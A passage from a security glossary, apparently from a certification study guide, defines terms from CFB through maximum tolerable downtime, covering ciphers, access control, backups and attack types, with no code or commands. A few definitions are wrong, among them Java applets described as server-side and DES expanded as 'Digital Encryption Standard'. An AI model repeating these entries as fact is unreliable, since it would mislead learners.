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CFB See Cipher Feedback. 


chain of custody A series of documents that shows who controlled the 
evidence, who secured the evidence, and who obtained the evidence. 


Challenge Handshake Authentication Protocol (CHAP) An 
authentication protocol that solves the cleartext problem by operating 
without sending the credentials across the link. 


change control process A process used to examine proposed changes for 
unforeseen consequences and study for proper integration into the current 
environment. 


change management A process used to ensure that all changes are 
beneficial and approved. 


CHAP See Challenge Handshake Authentication Protocol. 
characteristic factor Authentication based on something a person is. 
CI See configuration item and continuous integrations. 


CIA triad The three goals of security: confidentiality, integrity, and 
availability. 


CIP plan See critical infrastructure protection plan. 


Cipher Block Chaining (CBC) A DES mode in which 64-bit blocks are 

chained together because each resultant 64-bit ciphertext block is applied 

to the next block. Plaintext message block 1 is processed by the algorithm 
using an initialization vector. The resultant ciphertext message block 1 is 

XORed with plaintext message block 2, resulting in ciphertext message 2. 
This process continues until the message is complete. 


Cipher Block Chaining MAC (CBC-MAC) A block-cipher MAC that 
operates in CBC mode. 


Cipher Feedback (CFB) A DES mode that works with 8-bit (or smaller) 
blocks and uses a combination of stream ciphering and block ciphering. As 
with CBC, the first 8-bit block of the plaintext message is XORed by the 
algorithm using a keystream, which is the result of an initialization vector 
and the key. The resultant ciphertext message is applied to the next 
plaintext message block. 


ciphertext An altered form of a message that is unreadable without 
knowing the key and the encryption system used. Also referred to as a 
cryptogram. 
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circuit-level proxy A proxy that operate at the session layer (layer 5) of 
the OSI model. 


Cisco Discovery Protocol (CDP) A proprietary layer 2 protocol, which 
Cisco devices use to inform each other about their capabilities. 


cleanroom model A development model that strictly adheres to formal 
steps and a more structured method. It attempts to prevent errors and 
mistakes through extensive testing. 


click-jacking An attack that crafts a transparent page or frame over a 
legitimate-looking page that entices the user to click on something. When 
he does, he is really clicking on a different URL. In some cases, the 
attacker may entice the user to enter credentials that the attacker can use 
later. 


client-based application virtualization Virtualization in which the target 
application is packaged and streamed to the client. 


client-side attack An attack that targets vulnerabilities in a client’s 
applications that work with the server. It can occur only if the client makes 
a successful connection with the server. 


client-side processing Web application design in which processing occurs 
on the client side, which taxes the web server less and allows it to serve 
more users. 


client-side targets Vulnerabilities in the client’s applications that work 
with the server. 


clipping level A configured baseline threshold above which violations are 
recorded. 


cloud computing Computing in which resources are available in a web- 
based data center so the resources can be accessed from anywhere. 


cloud security broker A software layer that operates as a gatekeeper 
between an organization’s on-premises network and a provider’s cloud 
environment. Also called a cloud access security broker (CASB). 


cloud-based collaboration A means of collaboration used by enterprises 
and small teams for storing documents, communicating, and sharing 
updates on projects. 


clustering The process of providing load-balancing services by using 
multiple servers running the same application and data set. 
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CMDB See configuration management database. 
CMS See content management system. 


CNAME A DNS record that represents an additional hostname mapped to 
an IPv4 address that already has an A record mapped. 


code analyzers Automated tools that perform code analysis. 


code quality Refers to code that has high quality (documented, 
maintainable, and efficient). 


code reuse The process of reusing previously created code elements. 


code review The systematic investigation of code for security and 
functional problems. 


code signing A process that occurs when code creators digitally sign 
executables and scripts so that the user installing the code can be assured 
that it comes from the verified author. 


cognitive password A password type that is a piece of information that 
can be used to verify an individual’s identity. This information is provided 
to the system by the user’s answering a series of questions based on the his 
or her life, such as favorite color, pet’s name, mother’s maiden name, and 
so on. 


collision An event that occurs when a hash function produces the same 
hash value on different messages. 


combination password A password type that uses a mix of dictionary 
words, usually two unrelated words. 


commissioning The process of implementing an asset on an enterprise 
network. 


Common Configuration Enumeration (CCE) Configuration best 
practice statements maintained by the NIST. 


Common Platform Enumeration (CPE) Methods for describing and 
classifying operating systems applications and hardware devices. 


common vulnerabilities and exposures (CVEs) Vulnerabilities that have 
been identified and issued standard numbers. 


Common Vulnerability Scoring System (CVSS) A system of ranking 
vulnerabilities that are discovered based on predefined metrics. 


common weakness enumeration (CWE) Design flaws in the 
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development of software that can lead to vulnerabilities. 


communications analysis The process of analyzing communication over a 
network by capturing all or part of the communication and searching for 
particular types of activity. 


community cloud A cloud computing model in which the cloud 
infrastructure is shared among several organizations from a specific group 
with common computing needs. 


compensative control A security control that substitutes for a primary 
access control and mainly acts as a mitigation to risks. 


complex password A password type that forces a user to include a 
mixture of upper- and lowercase letters, numbers, and special characters. 


Computer Emergency Response Team (CERT) An organization that 
studies security vulnerabilities and provides assistance to organizations 
that become victims of attacks. Part of the Software Engineering Institute 
of the Carnegie Mellon University at Pittsburgh, it offers 24-hour 
emergency response service and shares information for improving web 
security. 


Confidentiality (C) A base metric that describes the information 
disclosure that may occur if a vulnerability is exploited. 


confidentiality The tenet of the CIA triad which ensures that data is 
protected from unauthorized disclosure. 


configuration item (CI) A uniquely identifiable subset of a system that 
represents the smallest portion to be subject to an independent 
configuration control procedure. 


configuration lockdown A setting that can be configured on a variety of 
devices that are correctly configured. It prevents any changes to the 
configuration. 


configuration management database (CMDB) A database that keeps 
track of the state of assets, such as products, systems, software, facilities, 
and people, as they exist at specific points in time. 


configuration management A process that specifically focuses on 
bringing order out of chaos by requiring all configuration changes to 
undergo change management processes. 


configuration profiles Profiles that control the use of a device that will 
make changes to settings such as the passcode settings, Wi-Fi passwords, 
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VPN configurations, and more. 


container-based virtualization A type of server virtualization in which 
the kernel allows for multiple isolated user-space instances. Also called 
operating system virtualization. 


containerization A feature of most mobile device management software 
that creates an encrypted “container” to hold and quarantine the corporate 
data separately from that of users. 


content analysis Analysis of the contents of a drive or software. Drive 
content analysis gives a report detailing the types of data by percentage. 
Software content analysis determines the purpose of the software. 


content filtering The process of filtering content for malicious or sensitive 
data. 


content management system (CMS) A system that publishes, edits, 
modifies, organizes, deletes, and maintains content from a central 
interface. 


content-dependent access control A type of access control that makes 
access decisions based on an object’s data. 


context analysis The process of analyzing the environment the software 
was found in to discover clues related to determining risk. 


context-based authentication A type of authentication that takes multiple 
factors or attributes into consideration before authenticating and 
authorizing an entity. 


context-dependent access control A type of access control that is based 
on subject or object attributes or environmental characteristics. 


continuity of operations plan (COOP) A business continuity document 
that considers all aspects that are affected by a disaster, including 
functions, systems, personnel, and facilities and that lists and prioritizes 
the services that are needed, particularly the telecommunications and IT 
functions. 


continuity planning A type of planning that deals with identifying the 
impact of any disaster and ensuring that a viable recovery plan is 
implemented for each function and system. 


continuous integration (CI) The practice of merging all developer 
working copies into a shared mainline several times a day. 
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contracting The phase of software acquisition in which the organization 
creates a request for proposal (RFP) or other supplier solicitation forms. 


control plane A component of a router that carries signaling traffic 
originating from or destined for a router. This is the information that 
allows the routers to share information and build routing tables. 


COOP See continuity of operations plan. 
COPE See corporate-owned, personally enabled. 


corporate-owned, personally enabled (COPE) A strategy in which an 
organization purchases mobile devices and users manage the devices. 


corrective control A security control that reduces the effect of an attack or 
another undesirable event. 


cost/benefit analysis A type of analysis that involves comparing the costs 
of deploying a particular solution to the benefits that will be gained from 
its deployment. See also return on investment and total cost of ownership. 


counter mode A DES mode similar to OFB mode that uses an 
incrementing initialization vector counter to ensure that each block is 
encrypted with a unique keystream. Also, the ciphertext is not chaining 
into the encryption process. Because this chaining does not occur, CTR 
performance is much better than with the other modes. 


CPE See Common Platform Enumeration. 


crisis communications plan A plan that documents standard procedures 
for internal and external communications in the event of a disruption using 
a crisis communications plan. It also provides various formats for 
communications appropriate to the incident. 


critical infrastructure protection (CIP) plan A set of policies and 
procedures that serve to protect and recover assets and mitigate risks and 
vulnerabilities. 


CRM See customer relationship management. 


cross-certification A certification topology that establishes trust 
relationships between CAs so that the participating CAs can rely on the 
other participants’ digital certificates and public keys. 


crossover error rate (CER) The point at which FRR equals FAR. 
Expressed as a percentage, this is the most important metric. 


cross-site request forgery (CSRF) An attack in which the attacker 
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exploits a website’s trust of the browser. 


cross-site scripting (XSS) A web attack that v occurs when an attacker 
locates a website vulnerability and then injects malicious code into the 
web application. 


crypto module A term used to describe the hardware, software, and/or 
firmware that implements cryptographic logic or cryptographic processes. 


crypto processor A processor that is dedicated to performing encryption 
and typically includes multiple physical measures to prevent tampering. 


cryptocurrencies Currencies with no real backing that make use of a 
process called blockchain. 


cryptographic service provider (CSP) A software library that 
implements the Microsoft CryptoAPI (CAPI) in Windows. 


cryptography A science that either hides data or makes data unreadable 
by transforming it. 


CSRF See cross-site request forgery. 


customer relationship management (CRM) A process that identifies 
customers and stores all customer-related data, particularly contact 
information and data on any direct contacts with customers. 


CVEs See common vulnerabilities and exposures. 
CVSS See Common Vulnerability Scoring System. 
CWE See Common Weakness Enumeration. 


cyber incident response plan A plan that establishes procedures to 
address cyber attacks against an organization’s information system(s). 


DAM See database activity monitor. 


data aggregation A process that allows data from multiple resources to be 
queried and compiled together into a summary report. 


data archiving The process of identifying old or inactive data and 
relocating it to specialized long-term archival storage systems. 


data breach An incident in which information that is considered private or 
confidential is released to unauthorized parties. 


data clearing A process that renders information unrecoverable by a 
keyboard. This attack extracts information from data storage media by 
executing software utilities, keystrokes, or other system resources executed 
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from a keyboard. 


data custodian An individual who implements information classification 
and controls after they are determined by the data owner. 


data design Describes choices related to data structures and the attributes 
and relationships between data objects that drove the selection. 


data flow diagram A diagram of the flow of data as transactions occur in 
an application or a service. 


data interface A network interface used to pass regular data traffic and 
not used for either local or remote management. 


data isolation In terms of databases, the process of preventing data from 
being corrupted by two concurrent operations. In terms of cloud 
computing, the process of ensuring that tenant data in a multitenant 
solution is isolated from other tenants’ data, using a tenant ID in the data 
labels. 


data leakage A leak that occurs when sensitive data is disclosed to 
unauthorized personnel either intentionally or inadvertently. 


data loss prevention (DLP) software Software that attempts to prevent 
disclosure of sensitive data. 


data owner An individual who makes decisions on who can access an 
asset. 


data plane The plane on a networking device such as a router or switch 
that carries user traffic. Also known as the forwarding plane. 


data purging The process of using a method such as degaussing to make 
old data unavailable even with forensics. Purging renders information 
unrecoverable against laboratory attacks (forensics). 


data remnant The residual information left on a drive after a delete 
process or the data left in terminated virtual machines. 


data retention policy A security policy that stipulates how long data is 
retained by an organization, based on the data type. 


data sovereignty The concept that data stored in digital format is subject 
to the laws of the country in which the data is located. 


database activity monitor (DAM) A device that monitors transactions 
and the activity of database services. 
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dd command A UNIX/Linux command that is used is to convert and copy 
files. 


DDoS See distributed DOS. 


de facto standards Standards that are widely accepted but are not 
formally adopted. 


decommissioning The process of retiring an asset from use on an 
enterprise network. 


deep packet inspection A process in which the data portion of a packet is 
inspected for signs of malicious code. 


DEFCON conference A conference that focuses on hacking and is 
considered more technical in nature than many of the other popular 
conferences. 


definition files The files that make it possible for software to identify the 
latest viruses. 


degaussing The act of exposing media to a powerful alternating magnetic 
field. 


demilitarized zone (DMZ) A perimeter network where resources are 
exposed to the Internet while being logically separated from the internal 
network. 


de-perimeterization The process of changing a network boundary to 
include devices normally considered to be outside the networks perimeter. 


design phase The phase of the software development life cycle in which 
an organization develops a detailed description of how the software will 
satisfy all functional and security goals. 


desktop sharing Describes a group of related technologies that allow for 
both remote login to a computer and real-time collaboration on the desktop 
of a remote user. 


detection and response The formal process of identifying and responding 
to security events. 


detective control A security control that detects an attack while it is 
occurring to alert appropriate personnel. 


deterrent control A security control that deters potential attacks. 


develop phase The phase of the software development life cycle in which 
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the code, or instructions that make the software work, is written. 


device fingerprinting Identifying information such as the operating 
system of a device. 


DevOps A development model that aims at shorter development cycles, 
increased deployment frequency, and more dependable releases in close 
alignment with business objectives. 


dictionary attack An attack in which the attackers use a dictionary of 
common words to discover passwords. 


differential backup A backup in which all files that have been changed 
since the last full backup are backed up and the archive bit for each file is 
not cleared. 


Diffie-Hellman An algorithm that is responsible for the key agreement 
process. 


dig A Linux command used to troubleshoot DNS. 


Digital Encryption Standard (DES) A symmetric algorithm that uses a 
64-bit key, 8 bits of which are used for parity. The effective key length for 
DES is 56 bits. DES divides the message into 64-bit blocks. Sixteen 
rounds of transposition and substitution are performed on each block, 
resulting in a 64-bit block of ciphertext. 


digital rights management (DRM) An access control method used by 
hardware manufacturers, publishers, copyright holders, and individuals to 
control the use of digital content. 


Digital Signature Standard (DSS) A federal digital security standard that 
governs the Digital Security Algorithm (DSA). 


digital signature A method of providing sender authentication and 
message integrity. The message acts as an input to a hash function, and the 
sender’s private key encrypts the hash value. The receiver can perform a 
hash computation on the received message to determine the validity of the 
message. 


digital watermarking A process that involves embedding a logo or 
trademark in documents, pictures, or other objects. 


directive control A security control that specifies an acceptable practice in 
an organization. 


directory service A service that stores, organizes, and provides access to 
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information in a computer operating system’s directory. 


disaster recovery plan (DRP) An information system[nd]focused plan 
designed to restore operability of the target system, application, or 
computer facility infrastructure at an alternate site after an emergency. 


discretionary access control (DAC) A system in which the owner of an 
object specifies which subjects can access the resource. 


disk imaging A drive duplication process that involves creating an exact 
image of the contents of a hard drive. 


disk-level encryption Encryption of an entire volume or an entire disk, 
which may use the same key for the entire disk or in some cases a different 
key for each partition or volume. 


disposal stage The phase of the systems development life cycle that 
involves removing the solution from the environment when it reaches the 
end of its usefulness. 


disruptive technologies Technologies that are so revolutionary they 
change the way things are done and create new ways in which people use 
technology. 


distributed DoS (DDoS) A denial-of-service attack that is carried out 
from multiple attack locations. 


DLP software See data loss prevention software. 
DMZ See demilitarized zone. 


DNS harvesting The process of acquiring the DNS records of an 
organization to use in mapping the network. 


DNS See Domain Name System. 


Domain Name System (DNS) A system that provides a hierarchical 
naming system for computers, services, and any resources connected to the 
Internet or a private network. 


double-blind test A pen test in which the testing team is provided with 
limited knowledge of the network systems and devices and performs the 
test using publicly available information only; the organization’s security 
team does not know that an attack is coming. 


downstream liability Liability that an organization accrues due to 
partnerships with other organizations and customers. 
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drive-by download attack An attack that entails using exploit kits to 
redirect users to fake sites so as to enable malware installation. 


dronejacking Hacking into a drone and taking control. 
DRP See disaster recovery plan. 
DSS See Digital Signature Standard. 


Dual Stack An IPv4-to-IPv6 transition method that runs both IPv4 and 
IPv6 on networking devices. 


dual-factor authentication A combination of two authentication factors 
(such as a knowledge factor and a behavioral factor). 


dual-homed firewall A firewall that has two network interfaces, one 
pointing to the internal network and another connected to an untrusted 
network. 


due care Actions exhibited when an organization takes all the actions it 
can reasonably take to prevent security issues or to mitigate damage if 
security breaches occur. 


due diligence Actions which ensure that an organization understands the 
security risks it faces. 


dynamic routing protocol A routing method that can install routes, react 
to link outages, and reroute traffic without manual intervention. 


dynamic testing Testing performed while software is running. 
EAP See Extensible Authentication Protocol. 

ECB See Electronic Code Book. 

e-discovery Recovering evidence from electronic devices. 


eFuse A process used to indicate whether an “untrusted” (non-Samsung) 
boot path has ever been run. 


EK See endorsement key. 


El Gamal An asymmetric key algorithm based on the Diffie-Hellman 
algorithm. 


Electronic Code Book (ECB) A version of DES in which 64-bit blocks of 
data are processed by the algorithm using the key. The ciphertext produced 
can be padded to ensure that the result is a 64-bit block. 


electronic vaulting An electronic backup method that copies files as 
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modifications occur in real time. 


elliptic curve cryptography (ECC) An approach to cryptography that 
provides secure key distribution, encryption, and digital signatures. The 
elliptic curve’s size defines the difficulty of the problem. 


email code review Code review in which code is emailed around to 
colleagues for them to review when time permits. 


email harvesting The process of gathering email addresses as a part of 
network reconnaissance. 


email spoofing The process of sending an email that appears to come from 
one source when it really comes from another. 


emergency response The formal process of anticipating and responding to 
events, typically those involving safety. 


Encapsulating Security Payload (ESP) An IPsec component that 
provides data integrity, data origin authentication, protection from replay 
attacks, and data confidentiality. 


endorsement key (EK) TPM persistent memory installed by the 
manufacturer that contains a public/private key pair. 


enrollment time The process of obtaining the sample that is used by a 
biometric system. 


enterprise resource planning (ERP) A type of planning that involves 
collecting, storing, managing, and interpreting data from product planning, 
product cost, manufacturing or service delivery, marketing/sales, inventory 
management, shipping, payment, and any other business processes. 


enterprise service bus (ESB) A communication system that designs and 
implements communication between mutually interacting software 
applications in a service-oriented architecture (SOA). 


environmental A CVSS metric group of characteristics of a vulnerability 
that are relevant and unique to a particular user’s environment. 


ERP See enterprise resource planning. 
ESB See enterprise service bus. 


event reduction The process of reducing the number of logged events to 
only those that are most serious. 


exploit kit A group of tools used to exploit security holes. 
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exploitation tools Tools used to exploit security holes. 


export controls Rules and regulations governing the shipment or 
transmission of items from one country to another. 


Extensible Access Control Markup Language (XACML) A standard for 
an access control policy language using XML. 


Extensible Authentication Protocol (EAP) A framework (rather than a 
single protocol) for port-based access control that uses the same three 
components used in RADIUS. 


Extensible Messaging and Presence Protocol (XMPP) A secure protocol 
that can be used to provide presence information. 


facial scan A scan that records facial characteristics, including bone 
structure, eye width, and forehead size. 


facilities manager A person who ensures that all organization buildings 
are maintained, including building maintenance and custodial services. 


failover The capacity of a system to switch over to a backup system if a 
failure occurs in the primary system. 


failsoft The capability of a system to terminate noncritical processes when 
a failure occurs. 


false acceptance rate (FAR) A measurement of the percentage of invalid 
users that will be falsely accepted by the system. This is called a Type II 
error. Type II errors are more dangerous than Type I errors. 


false rejection rate (FRR) A measurement of valid users that will be 
falsely rejected by the system. This is called a Type I error. 


feature extraction An approach to obtaining biometric information from a 
collected sample of a user’s physiological or behavioral characteristics. 


Federal Information Processing Standard (FIPS) 199 A U.S. 
government standard for categorizing information assets for 
confidentiality, integrity, and availability. 


federated identity A portable identity that can be used across businesses 
and domains. 


FIFO See first in, first out. 


file integrity software Software that generates a hash value of each 
system file and verifies that hash value at regular intervals. 
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file-level encryption Encryption performed per file, where each file owner 
has a key. 


File Transfer Protocol (FTP) A protocol that provides file transfer 
services. 


finger scan A scan that extracts only certain features from a fingerprint. 
fingerprint scan A scan that records the ridges of a finger for matching. 


first in, first out (FIFO) A media scheme in which the newest backup is 
saved to the oldest media. 


Foremost A command-line program for Linux that is used to recover files 
using a process called file carving. 


formal code review An extremely thorough, line-by-line code inspection, 
usually performed by multiple participants using multiple phases. 


FTP See File Transfer Protocol. 


full backup A backup in which all data is backed up, and the archive bit 
for each file is cleared. 


full-knowledge test A pen test in which the testing team is provided with 
all available knowledge regarding the organization’s network. 


fuzz testing (fuzzing) A testing method that involves injecting invalid or 
unexpected input (sometimes called faults) into an application to test how 
the application reacts. 


fuzzer A software tool that finds and exploits weaknesses in web 
applications. 


gap analysis An analysis that compares an organization’s security 
program to overall best security practices. 


gather requirements phase The phase of the software development life 
cycle in which both the functionality and the security requirements of a 
solution are identified. 


generation-based fuzzing Fuzz testing that involves generating the inputs 
from scratch, based on the specification/format. 


geofencing A technology that uses GPS to define geographic boundaries. 


geotagging The process of adding geographic identification metadata to 
various media. 


gesture authentication A method in which the user is shown a picture to 
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use as a guide for applying a pattern of gestures on a photo. 
GFS See grandfather/father/son. 
GNU Privacy Guard (GPG) A rewrite or upgrade of PGP that uses AES. 


grandfather/father/son (GFS) A media scheme in which three sets of 
backups are defined. Most often these three definitions are daily, weekly, 
and monthly. The daily backups are the sons, the weekly backups are the 
fathers, and the monthly backups are the grandfathers. Each week, one son 
advances to the father set. Each month, one father advances to the 
grandfather set. 


graphical password A password that uses graphics as part of the 
authentication mechanism. Also called CAPTCHA passwords. 


gray-box testing Testing in which the team is provided more information 
than is provided in black-box testing, while not as much as is provided in 
white-box testing. 


gray hat An entity that breaks into an organization’s system(s) that is 
considered somewhere between a white hat and a black hat. A gray hat 
breaks into a system, notifies the administrator of the security hole, and 
offers to fix the security issues for a fee. 


hacktivist A person who uses the same tools and techniques as a hacker 
but does so to disrupt services and bring attention to a political or social 
cause. 


Hadoop An open source software framework used for distributed storage 
and processing of big data. 


hand geometry scan A scan that obtains size, shape, or other layout 
attributes of a user’s hand and can also measure bone length or finger 
length. 


hand topography scan A scan that records the peaks and valleys of a 
user’s hand as well as its shape. 


hardware security module (HSM) An appliance that safeguards and 
manages digital keys used with strong authentication and provides crypto 
processing. 


hash MAC A keyed-hash MAC that involves a hash function with a 
symmetric key. 


hash matching A process that involves spoofing hashes, leading to access 
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to arbitrary pieces of other customers’ data. 


hash A one-way function that reduces a message to a hash value. If the 
sender’s hash value is compared to the receiver’s hash value, message 
integrity is determined. If the resultant hash values are different, the 
message has been altered in some way, provided that both the sender and 
receiver used the same hash function. 


HAVAL A one-way function that produces variable-length hash values, 
including 128 bits, 160 bits, 192 bits, 224 bits, and 256 bits and uses 
1,024-bit blocks. 


heterogeneous computing Refers to systems that use more than one kind 
of processor or core. 


heuristics A method used in malware detection, behavioral analysis, 
incident detection, and other scenarios in which patterns must be detected 
in the midst of what might appear to be chaos. 


hierarchical storage management (HSM) system A type of backup 
Management system that provides a continuous online backup by using 
optical or tape “jukeboxes.” 


HMAC-Based One-Time Password Algorithm (HOTP) An algorithm 
that computes a password from a shared secret that is used one time only. 


honeynet A network of honeypots. 
honeypot A system made attractive to hackers to engage them. 


horizontal privilege escalation A process in which a normal user accesses 
functions or content reserved for other normal users. 


host-based firewall A firewall that resides on a single host and is designed 
to protect that host only. 


host-based IDS A system that monitors traffic on a single system. Its 
primary responsibility is to protect the system on which it is installed. 


hot site A leased facility that contains all the resources needed for full 
operation. 


HOTP See HMAC-Based One-Time Password Algorithm. 


HSM See hierarchical storage management system or hardware security 
module. 


HTML (Hypertext Markup Language) 5 A version of the markup 
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language that has been used on the Internet for years. It has been improved 
to support the latest multimedia (which is why it is considered a likely 
successor to Flash). 


HTTP interceptors Software that intercepts web traffic between a 
browser and a website. Interceptors permit actions that the browser would 
not permit for testing purposes. 


HTTPS See Hypertext Transfer Protocol Secure. 
HTTP-Secure See Hypertext Transfer Protocol Secure. 


hunt teaming A collection of techniques that are used to bypass 
traditional security technologies to hunt down other attackers who may 
have used similar techniques and have successfully flown under the radar. 
This term is also used to describe a new approach in security that is 
offensive in nature rather than defensive. 


hyperconvergence Refers to using software to perform convergence 
without requiring hardware changes. It utilizes virtualization as well. 


Hypertext Transfer Protocol Secure (HTTPS or HTTP-Secure) A 
security protocol that layers HTTP on top of the SSL/TLS protocol, thus 
adding the security capabilities of SSL/TLS to standard HTTP. 


I See integrity. 
IA See interoperability agreement. 


identification The step in authentication during which the user makes a 
claim to be someone. 


identity proofing An additional step in the identification part of 
authentication. An example of identity proofing is the presentation of 
secret questions to which only the individual undergoing authentication 
would know the answer. 


identity propagation The passing or sharing of a user’s or device’s 
authenticated identity information from one part of a multitier system to 
another. 


IDS See intrusion detection system. 
IETF See Internet Engineering Task Force. 


implementation stage The phase of the systems development life cycle in 
which senior management formally approves of the system and the 
solution is introduced to the live environment. 
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imprecise methods DLP methods that can include keywords, lexicons, 
regular expressions, extended regular expressions, meta data tags, 
Bayesian analysis, and statistical analysis. 


incident response team A group of individuals trained to respond to 
security incidents. 


incremental backup A backup in which all files that have been changed 
since the last full or incremental backup are backed up, and the archive bit 
for each file is cleared. 


incremental model A refinement to the basic Waterfall model in which 
software is developed in increments of functional capability. 


inductance A process used in NFC to transmit information from the phone 
to the reader. 


INE See inline network encryptor. 


information system contingency plan (ISCP) A plan that provides 
established procedures for the assessment and recovery of a system 
following a system disruption. 


infrared camera A camera that forms an image using infrared radiation 
and can capture images in the dark. 


Infrastructure as a Service (IaaS) A cloud computing model in which 
the vendor provides the hardware platform or data center and the company 
installs and manages its own operating systems and application systems. 
The vendor simply provides access to the data center and maintains that 
access. 


in-house developed Refers to applications that are developed in-house and 
can be completely customized to the organization. 


initiation phase The phase of the systems development life cycle in which 
the realization is made that a new feature or functionality is desired or 
required in the enterprise. 


inline network encryptor (INE) A type 1 encryption device. 


in-memory processing An approach in which all data in a set is processed 
from memory rather than from the hard drive. 


input validation The process of checking all input for things such as 
proper format and proper length. 


insecure direct object reference flaw An attack that can come from an 
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authorized user who is accessing information to which she should not have 
access. 


instant messaging A service often integrated with messaging software 
that allows real-time text and video communication. 


integer overflow Behavior that occurs when an arithmetic operation 
attempts to create a numeric value that is too large to be represented within 
the available storage space. 


integration enablers Components which ensure that applications and 
services in an enterprise can communicate as needed. 


integration testing Testing that assesses the way in which modules work 
together and determines whether functional and security specifications 
have been met. 


Integrity (I) A base metric that describes the type of data alteration that 
might occur if a vulnerability is exploited. 


integrity A characteristic which assures that data has not changed in any 
way. The tenet of the CIA triad which ensures that data is accurate and 
reliable. 


interconnection security agreement (ISA) An agreement between two 
organizations that 

own and operate connected IT systems to document the technical 
requirements of the interconnection. 


interface design A type of design that describes all interfaces, including 
internal and external program interfaces, as well as the design of the 
human interface. 


interface testing Testing that evaluates whether an application’s systems or 
components correctly pass data and control to one another. 


International Data Encryption Algorithm (IDEA) A block cipher that 
uses 64-bit blocks, which are divided into 16 smaller blocks. It uses a 128- 
bit key and performs eight rounds of transformations on each of the 16 
smaller blocks. 


Internet Engineering Task Force (IETF) An international body of 
Internet professionals responsible for creating requests for comments 
(RFCs) that describe research and innovations on the Internet and its 
systems. 


Internet Key Exchange (IKE) A protocol that provides the authentication 
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material used to create the keys exchanged by ISAKMP during peer 
authentication in IPsec. Also sometimes referred to as [IPsec Key 
Exchange. 


Internet Protocol Security (IPsec) A suite of protocols that establishes a 
secure channel between two devices. IPsec can provide encryption, data 
integrity, and system-based authentication, which makes it a flexible 
option for protecting transmissions. 


Internet Security Association and Key Management Protocol 
(ISAKMP) An IPsec component that handles the creation of a security 
association for a session and the exchange of keys. 


interoperability agreement (IA) An agreement between two or more 
organizations to work together to allow information exchange. 


intrusion detection system (IDS) A system responsible for detecting 
unauthorized access or attacks against systems and networks. 


intrusion protection system (IPS) A system responsible for preventing 
attacks. When an attack begins, an IPS takes actions to prevent and contain 
the attack. 


inventory control The process of tracking and containing inventory. 


ipconfig A command used to view the IP configuration of a device and 
that, when combined with certain switches or parameters, can be used to 
release and renew the lease of an IP address obtained from a DHCP server. 


IPS See intrusion protection system. 
IPsec See Internet Protocol Security. 


IPv6 An IP addressing scheme designed to provide a virtually unlimited 
number of IP addresses. It uses 128 bits rather than 32, as in IPv4, and it is 
represented in hexadecimal rather than dotted-decimal format. 


iris scan A scan of the colored portion of the eye, including all rifts, 
coronas, and furrows. 


IriusRisk A threat modeling tool that comes in both community and 
commercial versions and focuses on the creation and maintenance of a live 
threat model through the entire SDLC. It connects with other tools to 
empower automation. 


ISA See interconnection security agreement. 


ISCP See information system contingency plan. 
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ISO/IEC 27000 series Standards that provide guidance to organizations in 
integrating security into the development and maintenance of software 
application. 


isolate The step in incident response during which the affected systems are 
prevented from affecting other systems. 


jailbreaking A process that allows the user to remove some of the 
restrictions of an Android/Linux device. 


Java applet A small server-side component created using Java that runs in 
a web browser. 

It is platform independent and creates intermediate code called byte code 
that is not processor specific. 


JavaScript A dynamic computer programming language commonly used 
in web browsers to allow the use of client-side scripts. 


job rotation A security measure which ensures that more than one person 
fulfills the job tasks of a single position within an organization. It involves 
training multiple users to perform the duties of a position to help prevent 
fraud by any individual employee. 


joint analysis (or application) development (JAD) model A 
development model that uses a team approach. It uses workshops to both 
agree on requirements and to resolve differences. 


jurisdiction The area or region covered by an official power. 


Kerberos A ticket-based authentication and authorization system used in 
UNIX and Active Directory. 


kernel proxy firewall A fifth-generation firewall that inspects a packet at 
every layer of the OSI model but does not introduce the performance hit of 
an application-layer firewall because it does this at the kernel layer. 


key escrow The process of storing keys with a third party to ensure that 
decryption can occur. 


key performance indicator (KPI) A metric that directly relates to 
specific actions or activities, not the final result. 


key recovery The process whereby a key is archived in a safe place by the 
administrator. 


key risk indicator A metric that indicates how risky an activity is or how 
likely a risk is to occur. 
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key stretching A cryptographic technique that makes a weak key stronger 
by increasing the time it takes to test each possible key. 


key A parameter that controls the transformation of plaintext into 
ciphertext or vice versa. Determining the original plaintext data without 
the key is impossible. Also referred to as a cryptovariable. 


keystroke dynamics A biometric authentication technique that measures a 
user’s typing pattern when inputting a password or other predetermined 
phrase. 


knowledge factor Authentication based on something a person knows. 
KPI See key performance indicator. 

KRI See key risk indicator. 

latency The delay typically incurred in the processing of network data. 


least functionality A principle that calls for an organization to configure 
information systems to provide only essential capabilities and specifically 
prohibits and/or restricts the use of other functions. 


least privilege A security principle which requires that a user or process 
be given only the minimum access privilege needed to perform a particular 
task. 


legacy systems Old technologies, computers, or applications that are 
considered outdated but provide a critical function in the enterprise. 


legal counsel Attorneys who ensure that an organization complies with all 
laws and regulations. Legal counsel should provide guidance on the 
formation of all organizational policies and controls and ensure that they 
comply with all laws and regulations that affect the organization. 


legal holds Any additional legal requirement to maintain archived data for 
specified periods. 


lessons learned report A report that briefly lists and discusses what is 
currently known either about an attack or about an environment that was 
formerly unknown. 


lightweight code review A cursory code inspection, usually done as a 
normal part of the development process. 


Lightweight Directory Access Protocol (LDAP) A common directory 
service standard that is based on the earlier standard X.500. 
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live migration A system’s migration of a VM from one host to another 
when needed. 


load balancing A computer method for distributing workload across 
multiple computing resources. 


local privilege escalation attacks Attacks in which vulnerabilities enable 
malicious individuals to execute exploits and payloads that they would be 
unable to do otherwise. 


location factor Authentication based on where a person is. 


lock picks Tools used to test the ability of physical locks to withstand 
someone picking them. 


log analysis The process of analyzing network traffic logs. 


logical control A software or hardware component used to restrict access. 
See also technical control. 


logical deployment diagram A diagram that shows the architecture, 
including the domain architecture, including the existing domain 
hierarchy, names, and addressing scheme; server roles; and trust 
relationships. 


mail exchanger (MX) records DNS record that represents a mail server. 


maintainability How often a security solution or device must be updated 
and how long the updates take. 


malware sandboxing The process of confining malware to a protected 
environment until it can be studied, understood, and mitigated. 


managed security service provider (MSSP) A third party to which an 
organization can fully outsource all information assurance. 


management controls Controls implemented to administer an 
organization’s assets and personnel, including security policies, 
procedures, standards, baselines, and guidelines that are established by 
management. See also administrative control. 


management interface An interface that is used to access a device over a 
network, using utilities such as SSH and Telnet. 


management plane The component or plane on a networking device such 
as a router or switch that is used to administer the device. 


mandatory access control (MAC) A system in which subject 
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authorization is based on security labels. 


mandatory vacation A security measure which ensures that personnel 
take their allotted vacation time. 


master service agreement (MSA) A contract between two parties in 
which the parties agree to most of the terms that will govern future 
transactions or future agreements. 


master test plan A single high-level test plan for a project/product that 
unifies all other test plans. 


maximum tolerable downtime (MTD) The maximum amount of time 
that an organization can tolerate a single resource or function being down. 
Also referred to as maximum period time of disruption (MPTD). 


